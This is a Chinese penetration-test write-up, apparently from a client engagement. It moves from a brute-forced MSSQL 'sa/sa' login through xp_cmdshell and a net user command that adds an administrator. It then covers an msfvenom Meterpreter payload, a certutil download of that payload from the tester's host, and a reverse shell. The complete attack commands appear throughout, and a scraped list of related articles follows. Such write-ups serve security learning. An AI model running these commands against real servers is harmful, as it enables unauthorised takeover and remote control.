【实战3】记一次内网中反弹shell的艰难历程
# 0x00 前言
最近在客户现场对内网服务器进行渗透测试,发现了大量的弱口令,本次历程就是从这里开始···
# 0x01 弱口令
对目标ip进行端口扫描,开放端口为80,445,1433,3389
- 访问80端口,只是一个安装成功的界面,扫描一下目录看是否有源码泄露,无果
- 使用nmap脚本对445端口进行扫描,看是否存在ms17010等漏洞,无果
- 使用超级弱口令工具爆破1433,爆破成功,账号密码:sa/sa
- 同时对3389端口进行爆破,无果
因此确定了突破口,使用navicat成功连接sql server数据库
# 0x02 连接3389
翻了一下,没什么数据,尝试拿服务器吧,因此直接新建查询,开启xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
然后执行命令
exec master..xp_cmdshell "whoami";
是system权限,和想象中的一样
3389是开着的,不如加个用户直接连接远程桌面吧

加强密码强度,重新添加
exec master..xp_cmdshell "net user test paperpen123. /add";
exec master..xp_cmdshell "net localgroup administrators test /add";
一切都很顺利,开始连接3389,但遗憾的是

是win7,只允许单用户登录,如果挤他的话被发现就不能继续玩耍了,还是放弃连接3389吧
# 0x03 powershell下载木马
我还是把shell弹到本地来吧,方便操作,但是说着简单,该怎么弹呢?
需要强调一点,这里的内网不可以访问外网,因此无法使用命令从外网下载工具
那么可以这样,让他从我的本地服务器下载工具到他的服务器上就可以了
但是要关闭本机防火墙,执行后访问失败才想起来。我的ip是195.1.7.23
使用kali生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe
本地phpstudy快速搭建环境
将shell.exe放到网站根目录下,链接为http://195.1.7.23/shell.exe
本地监听8888端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 195.1.7.23
LHOST => 195.1.7.23
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/handler) > exploit
一切准备就绪,就差服务器执行shell.exe文件了。接下来的命令,大多是我朋友Calendula提供的,感谢一下
经测试,powershell是可以执行命令的,因此执行朋友Calendula给的下载命令
exec master..xp_cmdshell "powershell $client = new-object System.Net.WebClient";
exec master..xp_cmdshell "powershell $client.DownloadFile('http://195.1.7.23/shell.exe', 'shell.exe')";
这两句本可以合并到一起执行,但是前面尝试执行其他命令时发现有长度限制

所以拆分进行执行,但是遗憾的是

DownloadFile无法使用,具体因为什么也没搞清楚,因此放弃了这种方法
# 0x04 证书下载
朋友Calendula又给我提供了一种思路,使用certutil.exe,顿时惊呆、闻所未闻,命令如下:
exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "http://195.1.7.23/shell.exe"';
使用dir查看,发现成功下载到了服务器上

# 0x05 反弹成功
就差一步了,输入下面的命令并紧张地点击了执行
exec master..xp_cmdshell 'shell.exe';
卡住了···,又执行了一遍,又卡住了···,又执行了一遍,什么情况···
回到监听界面,打算按下ctrl+c重新监听,结果进了meterpreter界面,原来是它卡住了···

激动地截了张图

查看了一下是不是域环境

没错是的,看来还有很长的路要走。。
# 0x06 结语
这次就写到这吧,如有进展,还会更新。欢迎各位师傅们留言讨论,互相交流,互相学习,共同进步。
【实战3】记一次内网中反弹shell的艰难历程的更多相关文章
- 访问内网中的sql server数据库的简便方法
前言: 有时候我们要访问局域网内的 sql server服务器,比如测试环境数据库在公司内网,回到家或在客户现场要连接内网中的数据库 第一步:假如可以连接局域网的数据库 192.168.150.129 ...
- 搭建SpringBoot服务器,在公司内网中使用
搭建SpringBoot服务器,在公司内网中使用. 学习了:https://blog.csdn.net/z3881006/article/details/78902231 就是一个程序,托管于gith ...
- 内网中让其他人访问我电脑上的asp.net应用程序
打开防火墙,高级配置,新建入站规则,选择“端口”,下一步,填写特定本地端口,然后都是点击下一步,命名规则,到此,内网中的其他人可以访问你的程序了
- 在外网使用ssh连接内网中的多台Linux服务器
最近因为要对全球工控机网络进行协议扫描,需要在实验室配置几台服务器,因为我们只有一个IP地址,所以是用路由器搭建了一个内网(拓扑结构如下图).但是这样做了之后无法在宿舍通过ssh直接连接服务器,因为那 ...
- 20170718 关于Mysql 安装于虚拟机Ubuntu中,内网中Windows系统无法访问
-- 1. 前提Mysql 已经安装在Ubuntu中 -- 2. 防火墙已经关闭 命令确认防护墙状态 -- 3.问题如果Ubuntu是基于Docker容器的环境,是否需要把Docker做端口映射? 解 ...
- 【Hadoop 分布式部署 七: 使用ntp配置内网中集群机器时间同步 】
集群的时间要同步,如果时间不同步,会出现很多问题. 找一台机器做时间服务器 所有的机器与这台机器的时间进行定时的同步 比如,每日十分钟同步一次 我们这里使用 hadoop-senior.zuoyan ...
- linuxShell检测内网中存活主机,windows下net view/nmblookup
#!/bin/bash # Simple SHELL script for Linux and UNIX system monitoring with # ping command # code by ...
- win 内网frp反弹到内网liunx
前提:frp不同系统 但是版本必须完全相同 这是我的两个版本 我这个就是验证frp可以在不同系统之间使用 准备工作 靶机 win2003 ip 192.168.1.132 公网 vps windows ...
- 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网
/文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...
随机推荐
- 【bat批处理】批量执行某个文件夹下的所有sql文件bat批处理
遍历文件夹下所有的sql文件,然后命令行执行 for /r "D:\yonyou\UBFV60\U9.VOB.Product.Other" %%a in (*.sql) do ( ...
- vue播放mu38视频兼容谷歌ie等浏览器
<template> <div id="id_test_video" style="width:100%; height:auto;"> ...
- EF Code First 快速创建
以.net framework为例,包括数据库管理类库和启动项目两个项目文件 数据库管理类库 新建一个类库,名称为XXX.Database 管理nuget包,引入库EntityFramework 6. ...
- centos7安装rsync及两台机器进行文件同步
安装及配置 yum -y install rsync #启动rsync服务 systemctl start rsyncd.service systemctl enable rsyncd.service ...
- mysql笔记7--一句查询语句的过程
1 sql语句示例 select *from A where id=1 2 mysql基本架构图 (1)Mysql分为Server层和引擎层两个部分 (2)Server层包括连接器,查询缓存,分析器, ...
- replace的回调函数。
今天在看算法时,看到一些题目,感觉replace的回调函数好奇葩,$0 .$1什么的: JS的replace方法: str.replace(regexp|substr, newSubStr|funct ...
- XGBoost中参数调整的完整指南(包含Python中的代码)
(搬运)XGBoost中参数调整的完整指南(包含Python中的代码) AARSHAY JAIN, 2016年3月1日 介绍 如果事情不适合预测建模,请使用XGboost.XGBoost算法已 ...
- 实现一个 web 服务器
在 system1 上配置一个站点 http://system1.group8.example.com/,然后执行下述步骤: 1.从 http://server.group8.example.com/ ...
- .NET/C# 如何获取当前进程的 CPU 和内存占用?如何获取全局 CPU 和内存占用?
原文:.NET/C# 如何获取当前进程的 CPU 和内存占用?如何获取全局 CPU 和内存占用? 都知道可以在任务管理器中查看进程的 CPU 和内存占用,那么如何通过 .NET 编写代码的方式来获取到 ...
- C#下IOC/依赖注入框架Grace介绍
对依赖注入或控制反转不了解的童鞋请先自行学习一下这一设计,这里直接介绍项目和实现步骤. Grace是一个开源.轻巧.易用同时特性丰富.性能优秀的依赖注入容器框架.从这篇IOC容器评测文章找到的Grac ...